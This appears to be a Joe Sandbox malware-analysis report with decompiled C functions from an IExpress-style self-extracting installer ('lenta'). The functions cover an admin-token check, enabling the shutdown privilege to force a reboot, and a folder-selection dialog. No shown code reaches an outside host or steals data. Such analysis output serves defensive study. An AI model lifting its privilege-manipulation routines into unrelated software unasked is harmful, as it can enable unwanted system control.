0x003d60f5
0x00000000
0x00000000
0x00000000
0x00000000
0x003d60f5
0x003d609c
0x003d6081
0x003d5e62
0x003d5e62
0x003d5e65
0x003d5fd3
0x003d5fe9
0x00000000
0x003d5fef
0x003d5fef
0x003d5ff7
0x003d5ffd
0x003d6003
0x003d6006
0x003d6011
0x003d6014
0x003d603d
0x003d6016
0x003d6018
0x003d6019
0x003d601b
0x003d6033
0x003d601d
0x003d6020
0x003d6029
0x003d6022
0x003d6022
0x003d6022
0x003d6020
0x003d601b
0x003d6042
0x003d6044
0x003d6046
0x003d604a
0x003d5ff7
0x003d5fd5
0x003d5fd8
0x003d5fd8
0x00000000
0x003d5e6b
0x003d5e6b
0x003d5e6e
0x003d5f8b
0x003d5f99
0x00000000
0x003d5f9f
0x003d5fa7
0x003d5faf
0x00000000
0x003d5fb1
0x003d5fb3
0x00000000
0x003d5fb5
0x003d5fb7
0x00000000
0x003d5fb9
0x00000000
0x003d5fb9
0x003d5fb7
0x003d5fb3
0x003d5faf
0x003d5f8d
0x003d5f8d
0x003d5f8d
0x003d5f8f
0x003d5fc1
0x003d5fc1
0x003d5fc1
0x00000000
0x003d5e74
0x003d5e74
0x003d5e77
0x003d5ea0
0x003d5ebd
0x003d5f79
0x00000000
0x003d5f7f
0x003d5ec3
0x003d5ec3
0x003d5ecc
0x003d5ed4
0x003d5ed6
0x003d5edc
0x003d5edf
0x003d5eea
0x003d5eed
0x003d5f3f
0x003d5f40
0x00000000
0x003d5eef
0x003d5eef
0x003d5ef2
0x003d5f34
0x003d5ef4
0x003d5ef4
0x003d5ef7
0x003d5f2b
0x00000000
0x003d5ef9
0x003d5ef9
0x003d5efc
0x003d5f22
0x00000000
0x003d5efe
0x003d5eff
0x003d5f02
0x003d5f16
0x003d5f04
0x003d5f07
0x003d5f0d
0x003d5f46
0x003d5f46
0x003d5f09
0x003d5f09
0x003d5f09
0x003d5f07
0x003d5f02
0x003d5efc
0x003d5ef7
0x003d5ef2
0x003d5f4c
0x003d5f4e
0x003d5f50
0x003d5f54
0x003d5ed4
0x003d5ea2
0x003d5ea4
0x003d5eaf
0x003d5eaf
0x00000000
0x003d5e79
0x003d5e7d
0x00000000
0x003d5e83
0x003d5e83
0x003d5e83
0x003d5e85
0x003d5e85
0x003d5e8e
0x00000000
0x003d5e94
0x00000000
0x003d5e94
0x003d5e8e
0x003d5e7d
0x003d5e77
0x003d5e6e
0x003d5e65
0x003d5e5c
0x00000000
0x00000000
0x00000000
0x003d5dd0
0x003d5dd0
0x003d5dd0
0x00000000
0x003d5dd0
0x003d5dce
0x003d5dca
0x003d5dba
0x00000000
0x003d5d00
0x003d5dd9
0x003d5e04
0x003d61fe
0x003d5e0a
0x003d5e0c
0x003d5e17
0x003d5e17
0x003d5e04
0x003d6200
0x003d6200
0x00000000

APIs

CharNextA.USER32(?,00000000,?,?), ref: 003D5CEE
GetModuleFileNameA.KERNEL32(003D8B3E,00000104,00000000,?,?), ref: 003D5DFC
CharUpperA.USER32(?), ref: 003D5E3E
CharUpperA.USER32(-00000052), ref: 003D5EE1
CompareStringA.KERNEL32(0000007F,00000001,RegServer,000000FF,?,000000FF), ref: 003D5F6F
CharUpperA.USER32(?), ref: 003D5FA7
CharUpperA.USER32(-0000004E), ref: 003D6008
CharUpperA.USER32(?), ref: 003D60AA
CloseHandle.KERNEL32(00000000,003D1140,00000000,00000040,00000000), ref: 003D61F1
ExitProcess.KERNEL32 ref: 003D61F8

Strings

RegServer, xrefs: 003D5F66
", xrefs: 003D612D
:, xrefs: 003D6118
", xrefs: 003D5D78

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$"$:$RegServer
API String ID: 1203814774-25366791
Opcode ID: a09698a9dfff625c2b31efedba9b16f272d3a2821aa18bae882c4eed34f97352
Instruction ID: 9d5ced02aa5dd75331f441caba14f2da525fa44ed02fbb92731d5f1f59482bc2
Opcode Fuzzy Hash: a09698a9dfff625c2b31efedba9b16f272d3a2821aa18bae882c4eed34f97352
Instruction Fuzzy Hash: 48D18F73A08A459FDF379B38BC497F93B6AA755300F1500A7C496CA791DA708E828F50

Uniqueness

Uniqueness Score: -1.00%

Function 003D18A3 Relevance: 16.6, APIs: 11, Instructions: 112
memoryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E003D18A3(void* __edx, void* __esi) {
				signed int _v8;
				short _v12;
				struct _SID_IDENTIFIER_AUTHORITY _v16;
				char _v20;
				long _v24;
				void* _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				signed int _t23;
				long _t45;
				void* _t49;
				int _t50;
				void* _t52;
				signed int _t53;

				_t51 = __esi;
				_t49 = __edx;
				_t23 =  *0x3d8004; // 0xf4fc83b5
				_v8 = _t23 ^ _t53;
				_t25 =  *0x3d8128; // 0x2
				_t45 = 0;
				_v12 = 0x500;
				_t50 = 2;
				_v16.Value = 0;
				_v20 = 0;
				if(_t25 != _t50) {
					L20:
					return E003D6CE0(_t25, _t45, _v8 ^ _t53, _t49, _t50, _t51);
				}
				if(E003D17EE( &_v20) != 0) {
					_t25 = _v20;
					if(_v20 != 0) {
						 *0x3d8128 = 1;
					}
					goto L20;
				}
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v28) == 0) {
					goto L20;
				}
				if(GetTokenInformation(_v28, _t50, 0, 0,  &_v24) != 0 || GetLastError() != 0x7a) {
					L17:
					CloseHandle(_v28);
					_t25 = _v20;
					goto L20;
				} else {
					_push(__esi);
					_t52 = LocalAlloc(0, _v24);
					if(_t52 == 0) {
						L16:
						_pop(_t51);
						goto L17;
					}
					if(GetTokenInformation(_v28, _t50, _t52, _v24,  &_v24) == 0 || AllocateAndInitializeSid( &_v16, _t50, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v32) == 0) {
						L15:
						LocalFree(_t52);
						goto L16;
					} else {
						if( *_t52 <= 0) {
							L14:
							FreeSid(_v32);
							goto L15;
						}
						_t15 = _t52 + 4; // 0x4
						_t50 = _t15;
						while(EqualSid( *_t50, _v32) == 0) {
							_t45 = _t45 + 1;
							_t50 = _t50 + 8;
							if(_t45 <  *_t52) {
								continue;
							}
							goto L14;
						}
						 *0x3d8128 = 1;
						_v20 = 1;
						goto L14;
					}
				}
			}

0x003d18a3
0x003d18a3
0x003d18ab
0x003d18b2
0x003d18b5
0x003d18be
0x003d18c0
0x003d18c6
0x003d18c7
0x003d18ca
0x003d18cf
0x003d19c9
0x003d19d8
0x003d19d8
0x003d18df
0x003d19b8
0x003d19bd
0x003d19bf
0x003d19bf
0x00000000
0x003d19bd
0x003d18fa
0x00000000
0x00000000
0x003d1912
0x003d19aa
0x003d19ad
0x003d19b3
0x00000000
0x003d1927
0x003d1927
0x003d1932
0x003d1936
0x003d19a9
0x003d19a9
0x00000000
0x003d19a9
0x003d194c
0x003d19a2
0x003d19a3
0x00000000
0x003d196e
0x003d1970
0x003d1999
0x003d199c
0x00000000
0x003d199c
0x003d1972
0x003d1972
0x003d1975
0x003d1984
0x003d1985
0x003d198a
0x00000000
0x00000000
0x00000000
0x003d198c
0x003d1991
0x003d1996
0x00000000
0x003d1996
0x003d194c

APIs

Part of subcall function 003D17EE: LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,003D18DD), ref: 003D181A
Part of subcall function 003D17EE: GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 003D182C
Part of subcall function 003D17EE: AllocateAndInitializeSid.ADVAPI32(003D18DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,003D18DD), ref: 003D1855
Part of subcall function 003D17EE: FreeSid.ADVAPI32(?,?,?,?,003D18DD), ref: 003D1883
Part of subcall function 003D17EE: FreeLibrary.KERNEL32(00000000,?,?,?,003D18DD), ref: 003D188A

GetCurrentProcess.KERNEL32(00000008,?,00000000,00000001), ref: 003D18EB
OpenProcessToken.ADVAPI32(00000000), ref: 003D18F2
GetTokenInformation.ADVAPI32(?,00000002,00000000,00000000,?), ref: 003D190A
GetLastError.KERNEL32 ref: 003D1918
LocalAlloc.KERNEL32(00000000,?,?), ref: 003D192C
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?), ref: 003D1944
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 003D1964
EqualSid.ADVAPI32(00000004,?), ref: 003D197A
FreeSid.ADVAPI32(?), ref: 003D199C
LocalFree.KERNEL32(00000000), ref: 003D19A3
CloseHandle.KERNEL32(?), ref: 003D19AD

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: 174bf41a7177a32ba099b3fde2b1f79cef64ea86cb66bb75748ca9b68a156929
Instruction ID: fdeb67db6b83cc07b9013a96612ec9b7d83091a98f880d0e3601b3bff1ba47de
Opcode Fuzzy Hash: 174bf41a7177a32ba099b3fde2b1f79cef64ea86cb66bb75748ca9b68a156929
Instruction Fuzzy Hash: 6A312D72A01609BFDB229FA5FD59AAFBBBCFF04700F104426E545D2250D7309905CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 003D1F90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94
shutdownCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E003D1F90(signed int __ecx, void* __edi, void* __esi) {
				signed int _v8;
				int _v12;
				struct _TOKEN_PRIVILEGES _v24;
				void* _v28;
				void* __ebx;
				signed int _t13;
				int _t21;
				void* _t25;
				int _t28;
				signed char _t30;
				void* _t38;
				void* _t40;
				void* _t41;
				signed int _t46;

				_t41 = __esi;
				_t38 = __edi;
				_t30 = __ecx;
				if((__ecx & 0x00000002) != 0) {
					L12:
					if((_t30 & 0x00000004) != 0) {
						L14:
						if( *0x3d9a40 != 0) {
							_pop(_t30);
							_t44 = _t46;
							_t13 =  *0x3d8004; // 0xf4fc83b5
							_v8 = _t13 ^ _t46;
							_push(_t38);
							if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v28) != 0) {
								LookupPrivilegeValueA(0, "SeShutdownPrivilege",  &(_v24.Privileges));
								_v24.PrivilegeCount = 1;
								_v12 = 2;
								_t21 = AdjustTokenPrivileges(_v28, 0,  &_v24, 0, 0, 0);
								CloseHandle(_v28);
								_t41 = _t41;
								_push(0);
								if(_t21 != 0) {
									if(ExitWindowsEx(2, ??) != 0) {
										_t25 = 1;
									} else {
										_t37 = 0x4f7;
										goto L3;
									}
								} else {
									_t37 = 0x4f6;
									goto L4;
								}
							} else {
								_t37 = 0x4f5;
								L3:
								_push(0);
								L4:
								_push(0x10);
								_push(0);
								_push(0);
								E003D44B9(0, _t37);
								_t25 = 0;
							}
							_pop(_t40);
							return E003D6CE0(_t25, _t30, _v8 ^ _t44, _t37, _t40, _t41);
						} else {
							_t28 = ExitWindowsEx(2, 0);
							goto L16;
						}
					} else {
						_t37 = 0x522;
						_t28 = E003D44B9(0, 0x522, 0x3d1140, 0, 0x40, 4);
						if(_t28 != 6) {
							goto L16;
						} else {
							goto L14;
						}
					}
				} else {
					__eax = E003D1EA7(__ecx);
					if(__eax != 2) {
						L16:
						return _t28;
					} else {
						goto L12;
					}
				}
			}

0x003d1f90
0x003d1f90
0x003d1f93
0x003d1f98
0x003d1fa4
0x003d1fa7
0x003d1fc5
0x003d1fcd
0x003d1fdb
0x003d1ee5
0x003d1eea
0x003d1ef1
0x003d1ef4
0x003d1f0c
0x003d1f2e
0x003d1f3a
0x003d1f46
0x003d1f4d
0x003d1f58
0x003d1f60
0x003d1f61
0x003d1f62
0x003d1f75
0x003d1f80
0x003d1f77
0x003d1f77
0x00000000
0x003d1f77
0x003d1f64
0x003d1f64
0x00000000
0x003d1f64
0x003d1f0e
0x003d1f0e
0x003d1f13
0x003d1f13
0x003d1f14
0x003d1f14
0x003d1f16
0x003d1f17
0x003d1f1a
0x003d1f1f
0x003d1f1f
0x003d1f86
0x003d1f8f
0x003d1fcf
0x003d1fd3
0x00000000
0x003d1fd3
0x003d1fa9
0x003d1fb4
0x003d1fbb
0x003d1fc3
0x00000000
0x00000000
0x00000000
0x00000000
0x003d1fc3
0x003d1f9a
0x003d1f9a
0x003d1fa2
0x003d1fd9
0x003d1fda
0x00000000
0x00000000
0x00000000
0x003d1fa2

APIs

GetCurrentProcess.KERNEL32(00000028,?,?), ref: 003D1EFB
OpenProcessToken.ADVAPI32(00000000), ref: 003D1F02
ExitWindowsEx.USER32(00000002,00000000), ref: 003D1FD3

Strings

SeShutdownPrivilege, xrefs: 003D1F28

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Process$CurrentExitOpenTokenWindows
String ID: SeShutdownPrivilege
API String ID: 2795981589-3733053543
Opcode ID: c3855d1bc11127e52c591b81268faeca4d7a9d2f954ac5bb968044db8ae23649
Instruction ID: 2b7a445aa064816febca424039e20d92776e28abe3abf27d6873725bec832014
Opcode Fuzzy Hash: c3855d1bc11127e52c591b81268faeca4d7a9d2f954ac5bb968044db8ae23649
Instruction Fuzzy Hash: AB21C7B3B412057BDB225BA1FC4AFBF77BCEB85B10F11011BFA06E6281D77488419661

Uniqueness

Uniqueness Score: -1.00%

Function 003D6CF0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003D6CF0(char _a4) {

				SetUnhandledExceptionFilter(0);
				_t1 =  &_a4; // 0x3d6e26
				UnhandledExceptionFilter( *_t1);
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x003d6cf7
0x003d6cfd
0x003d6d00
0x003d6d19

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,003D6E26,003D1000), ref: 003D6CF7
UnhandledExceptionFilter.KERNEL32(&n=,?,003D6E26,003D1000), ref: 003D6D00
GetCurrentProcess.KERNEL32(C0000409,?,003D6E26,003D1000), ref: 003D6D0B
TerminateProcess.KERNEL32(00000000,?,003D6E26,003D1000), ref: 003D6D12

Strings

&n=, xrefs: 003D6CFD

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID: &n=
API String ID: 3231755760-1620568440
Opcode ID: b8025f262b7f2a787bce11d21d03ded24fd2cc668d65143d1f2bcc54ebcdb6f4
Instruction ID: fb523d91a6f5f8b56ab204c1d5c8a29198eb5c9a1e7a39f16a6c77bad4f13b45
Opcode Fuzzy Hash: b8025f262b7f2a787bce11d21d03ded24fd2cc668d65143d1f2bcc54ebcdb6f4
Instruction Fuzzy Hash: F6D0C972005908FBDB022BF1FE0CA593F2CEB48313F444002F31A82020CA3244518B52

Uniqueness

Uniqueness Score: -1.00%

Function 003D7155 Relevance: 7.6, APIs: 5, Instructions: 51
timethreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E003D7155() {
				void* _v8;
				struct _FILETIME _v16;
				signed int _v20;
				union _LARGE_INTEGER _v24;
				signed int _t23;
				signed int _t36;
				signed int _t37;
				signed int _t39;

				_v16.dwLowDateTime = _v16.dwLowDateTime & 0x00000000;
				_v16.dwHighDateTime = _v16.dwHighDateTime & 0x00000000;
				_t23 =  *0x3d8004; // 0xf4fc83b5
				if(_t23 == 0xbb40e64e || (0xffff0000 & _t23) == 0) {
					GetSystemTimeAsFileTime( &_v16);
					_v8 = _v16.dwHighDateTime ^ _v16.dwLowDateTime;
					_v8 = _v8 ^ GetCurrentProcessId();
					_v8 = _v8 ^ GetCurrentThreadId();
					_v8 = GetTickCount() ^ _v8 ^  &_v8;
					QueryPerformanceCounter( &_v24);
					_t36 = _v20 ^ _v24.LowPart ^ _v8;
					_t39 = _t36;
					if(_t36 == 0xbb40e64e || ( *0x3d8004 & 0xffff0000) == 0) {
						_t36 = 0xbb40e64f;
						_t39 = 0xbb40e64f;
					}
					 *0x3d8004 = _t39;
				}
				_t37 =  !_t36;
				 *0x3d8008 = _t37;
				return _t37;
			}

0x003d715d
0x003d7161
0x003d7165
0x003d7178
0x003d7182
0x003d718e
0x003d7197
0x003d71a0
0x003d71b1
0x003d71b8
0x003d71c4
0x003d71c7
0x003d71cb
0x003d71d5
0x003d71da
0x003d71da
0x003d71dc
0x003d71dc
0x003d71e2
0x003d71e5
0x003d71ee

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 003D7182
GetCurrentProcessId.KERNEL32 ref: 003D7191
GetCurrentThreadId.KERNEL32 ref: 003D719A
GetTickCount.KERNEL32 ref: 003D71A3
QueryPerformanceCounter.KERNEL32(?), ref: 003D71B8

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: b083798d53a0c85cdb5034eb940c1610c4252ba77080460e0a30ae9ce3496b5f
Instruction ID: 90d67fe23fa38ad0c10073e8b0de9cc6947ec83554c54c5ff30156d441a22b3b
Opcode Fuzzy Hash: b083798d53a0c85cdb5034eb940c1610c4252ba77080460e0a30ae9ce3496b5f
Instruction Fuzzy Hash: 76112E71D06608EFCB11DFB8EA48A9EB7F8FF48315F654957D805E7210EB309A148B41

Uniqueness

Uniqueness Score: -1.00%

Function 003D3210 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 188
windowCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E003D3210(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* __edi;
				void* _t6;
				void* _t10;
				int _t20;
				int _t21;
				int _t23;
				char _t24;
				long _t25;
				int _t27;
				int _t30;
				void* _t32;
				int _t33;
				int _t34;
				int _t37;
				int _t38;
				int _t39;
				void* _t42;
				void* _t46;
				CHAR* _t49;
				void* _t58;
				void* _t63;
				struct HWND__* _t64;

				_t64 = _a4;
				_t6 = _a8 - 0x10;
				if(_t6 == 0) {
					_push(0);
					L38:
					EndDialog(_t64, ??);
					L39:
					__eflags = 1;
					return 1;
				}
				_t42 = 1;
				_t10 = _t6 - 0x100;
				if(_t10 == 0) {
					E003D43D0(_t64, GetDesktopWindow());
					SetWindowTextA(_t64, "lenta");
					SendDlgItemMessageA(_t64, 0x835, 0xc5, 0x103, 0);
					__eflags =  *0x3d9a40 - _t42; // 0x3
					if(__eflags == 0) {
						EnableWindow(GetDlgItem(_t64, 0x836), 0);
					}
					L36:
					return _t42;
				}
				if(_t10 == _t42) {
					_t20 = _a12 - 1;
					__eflags = _t20;
					if(_t20 == 0) {
						_t21 = GetDlgItemTextA(_t64, 0x835, 0x3d91e4, 0x104);
						__eflags = _t21;
						if(_t21 == 0) {
							L32:
							_t58 = 0x4bf;
							_push(0);
							_push(0x10);
							_push(0);
							_push(0);
							L25:
							E003D44B9(_t64, _t58);
							goto L39;
						}
						_t49 = 0x3d91e4;
						do {
							_t23 =  *_t49;
							_t49 =  &(_t49[1]);
							__eflags = _t23;
						} while (_t23 != 0);
						__eflags = _t49 - 0x3d91e5 - 3;
						if(_t49 - 0x3d91e5 < 3) {
							goto L32;
						}
						_t24 =  *0x3d91e5; // 0x3a
						__eflags = _t24 - 0x3a;
						if(_t24 == 0x3a) {
							L21:
							_t25 = GetFileAttributesA(0x3d91e4);
							__eflags = _t25 - 0xffffffff;
							if(_t25 != 0xffffffff) {
								L26:
								E003D658A(0x3d91e4, 0x104, 0x3d1140);
								_t27 = E003D58C8(0x3d91e4);
								__eflags = _t27;
								if(_t27 != 0) {
									__eflags =  *0x3d91e4 - 0x5c;
									if( *0x3d91e4 != 0x5c) {
										L30:
										_t30 = E003D597D(0x3d91e4, 1, _t64, 1);
										__eflags = _t30;
										if(_t30 == 0) {
											L35:
											_t42 = 1;
											__eflags = 1;
											goto L36;
										}
										L31:
										_t42 = 1;
										EndDialog(_t64, 1);
										goto L36;
									}
									__eflags =  *0x3d91e5 - 0x5c;
									if( *0x3d91e5 == 0x5c) {
										goto L31;
									}
									goto L30;
								}
								_push(0);
								_push(0x10);
								_push(0);
								_push(0);
								_t58 = 0x4be;
								goto L25;
							}
							_t32 = E003D44B9(_t64, 0x54a, 0x3d91e4, 0, 0x20, 4);
							__eflags = _t32 - 6;
							if(_t32 != 6) {
								goto L35;
							}
							_t33 = CreateDirectoryA(0x3d91e4, 0);
							__eflags = _t33;
							if(_t33 != 0) {
								goto L26;
							}
							_push(0);
							_push(0x10);
							_push(0);
							_push(0x3d91e4);
							_t58 = 0x4cb;
							goto L25;
						}
						__eflags =  *0x3d91e4 - 0x5c;
						if( *0x3d91e4 != 0x5c) {
							goto L32;
						}
						__eflags = _t24 - 0x5c;
						if(_t24 != 0x5c) {
							goto L32;
						}
						goto L21;
					}
					_t34 = _t20 - 1;
					__eflags = _t34;
					if(_t34 == 0) {
						EndDialog(_t64, 0);
						 *0x3d9124 = 0x800704c7;
						goto L39;
					}
					__eflags = _t34 != 0x834;
					if(_t34 != 0x834) {
						goto L36;
					}
					_t37 = LoadStringA( *0x3d9a3c, 0x3e8, 0x3d8598, 0x200);
					__eflags = _t37;
					if(_t37 != 0) {
						_t38 = E003D4224(_t64, _t46, _t46);
						__eflags = _t38;
						if(_t38 == 0) {
							goto L36;
						}
						_t39 = SetDlgItemTextA(_t64, 0x835, 0x3d87a0);
						__eflags = _t39;
						if(_t39 != 0) {
							goto L36;
						}
						_t63 = 0x4c0;
						L9:
						E003D44B9(_t64, _t63, 0, 0, 0x10, 0);
						_push(0);
						goto L38;
					}
					_t63 = 0x4b1;
					goto L9;
				}
				return 0;
			}

0x003d321b
0x003d321e
0x003d3221
0x003d343c
0x003d343e
0x003d343f
0x003d3445
0x003d3447
0x00000000
0x003d3447
0x003d3229
0x003d322a
0x003d322f
0x003d33ec
0x003d33f7
0x003d3410
0x003d3416
0x003d341d
0x003d342d
0x003d342d
0x003d3438
0x00000000
0x003d3438
0x003d3237
0x003d3243
0x003d3243
0x003d3246
0x003d32ee
0x003d32f4
0x003d32f6
0x003d33d4
0x003d33d6
0x003d33db
0x003d33dc
0x003d33de
0x003d33df
0x003d3370
0x003d3372
0x00000000
0x003d3372
0x003d32fc
0x003d3301
0x003d3301
0x003d3303
0x003d3304
0x003d3304
0x003d330a
0x003d330d
0x00000000
0x00000000
0x003d3313
0x003d3318
0x003d331a
0x003d3331
0x003d3332
0x003d333a
0x003d333d
0x003d337c
0x003d3388
0x003d338f
0x003d3394
0x003d3396
0x003d33a4
0x003d33ab
0x003d33b6
0x003d33be
0x003d33c3
0x003d33c5
0x003d3435
0x003d3437
0x003d3437
0x00000000
0x003d3437
0x003d33c7
0x003d33c9
0x003d33cc
0x00000000
0x003d33cc
0x003d33ad
0x003d33b4
0x00000000
0x00000000
0x00000000
0x003d33b4
0x003d3398
0x003d3399
0x003d339b
0x003d339c
0x003d339d
0x00000000
0x003d339d
0x003d334c
0x003d3351
0x003d3354
0x00000000
0x00000000
0x003d335c
0x003d3362
0x003d3364
0x00000000
0x00000000
0x003d3366
0x003d3367
0x003d3369
0x003d336a
0x003d336b
0x00000000
0x003d336b
0x003d331c
0x003d3323
0x00000000
0x00000000
0x003d3329
0x003d332b
0x00000000
0x00000000
0x00000000
0x003d332b
0x003d324c
0x003d324c
0x003d324f
0x003d32c8
0x003d32ce
0x00000000
0x003d32ce
0x003d3251
0x003d3256
0x00000000
0x00000000
0x003d3271
0x003d3277
0x003d3279
0x003d3298
0x003d329d
0x003d329f
0x00000000
0x00000000
0x003d32b0
0x003d32b6
0x003d32b8
0x00000000
0x00000000
0x003d32be
0x003d3280
0x003d3289
0x003d328e
0x00000000
0x003d328e
0x003d327b
0x00000000
0x003d327b
0x00000000

APIs

LoadStringA.USER32(000003E8,003D8598,00000200), ref: 003D3271
GetDesktopWindow.USER32 ref: 003D33E2
SetWindowTextA.USER32(?,lenta), ref: 003D33F7
SendDlgItemMessageA.USER32(?,00000835,000000C5,00000103,00000000), ref: 003D3410
GetDlgItem.USER32(?,00000836), ref: 003D3426
EnableWindow.USER32(00000000), ref: 003D342D
EndDialog.USER32(?,00000000), ref: 003D343F

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 003D32E2, 003D32E7, 003D3331, 003D3344, 003D335B, 003D336A
lenta, xrefs: 003D33F1

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Window$Item$DesktopDialogEnableLoadMessageSendStringText
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$lenta
API String ID: 2418873061-1649533613
Opcode ID: 1c55354154b68ed897d7d7c45f37220a56f8133d4902425c647e66494f15f3e2
Instruction ID: 5aad362215e843efda4a32bc23a3a03605a01592e2281dad21a79fb0dc270209
Opcode Fuzzy Hash: 1c55354154b68ed897d7d7c45f37220a56f8133d4902425c647e66494f15f3e2
Instruction Fuzzy Hash: 605139337822517BEB235B36BD4DF7B2B6DDB46B54F50402BF245967C0CAA88E019263

Uniqueness

Uniqueness Score: -1.00%

Function 003D2CAA Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 183
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E003D2CAA(struct HINSTANCE__* __ecx, void* __edx, void* __eflags) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t13;
				void* _t20;
				void* _t23;
				void* _t27;
				struct HRSRC__* _t31;
				intOrPtr _t33;
				void* _t43;
				void* _t48;
				signed int _t65;
				struct HINSTANCE__* _t66;
				signed int _t67;

				_t13 =  *0x3d8004; // 0xf4fc83b5
				_v8 = _t13 ^ _t67;
				_t65 = 0;
				_t66 = __ecx;
				_t48 = __edx;
				 *0x3d9a3c = __ecx;
				memset(0x3d9140, 0, 0x8fc);
				memset(0x3d8a20, 0, 0x32c);
				memset(0x3d88c0, 0, 0x104);
				 *0x3d93ec = 1;
				_t20 = E003D468F("TITLE", 0x3d9154, 0x7f);
				if(_t20 == 0 || _t20 > 0x80) {
					_t64 = 0x4b1;
					goto L32;
				} else {
					_t27 = CreateEventA(0, 1, 1, 0);
					 *0x3d858c = _t27;
					SetEvent(_t27);
					_t64 = 0x3d9a34;
